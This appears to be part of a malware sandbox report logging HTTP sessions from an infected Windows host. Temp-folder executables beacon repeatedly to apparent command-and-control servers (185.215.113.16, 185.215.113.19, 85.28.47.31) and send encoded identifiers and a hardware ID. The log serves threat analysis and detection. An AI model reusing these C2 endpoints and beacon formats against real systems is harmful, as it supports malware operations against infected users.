Jul 27, 2024 03:20:06.225142956 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:06.471472025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49769	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:05.802412987 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:06.551050901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:06.552154064 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:06.799031973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49771	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:06.589205027 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:07.352500916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:07.354412079 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:07.605043888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49772	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:06.935152054 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:07.691514969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:07.694062948 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:07.944731951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49773	85.28.47.31	80	352	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:07.553193092 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:20:08.212003946 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:20:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:20:08.215023994 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="build"sila------KJEGCFBGDHJJJJJKJECF--
Jul 27, 2024 03:20:08.401148081 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:20:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49774	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:07.715639114 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:08.462548018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:08.464085102 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:08.712608099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49775	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:08.057790041 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:08.816320896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:08.852981091 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:09.127916098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49776	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:08.876739025 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:09.694988966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:09.695708990 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:09.945696115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49777	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:09.249128103 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:09.991483927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:09.992782116 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:10.239525080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49779	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:10.058351040 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:10.811105013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:10.811866999 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:11.062098980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49780	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:10.369066000 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:11.118688107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:11.122900009 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:11.371082067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49781	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:11.182771921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:11.946588993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:11.953538895 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:12.208110094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49782	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:11.498442888 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:12.271054983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:12.287597895 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
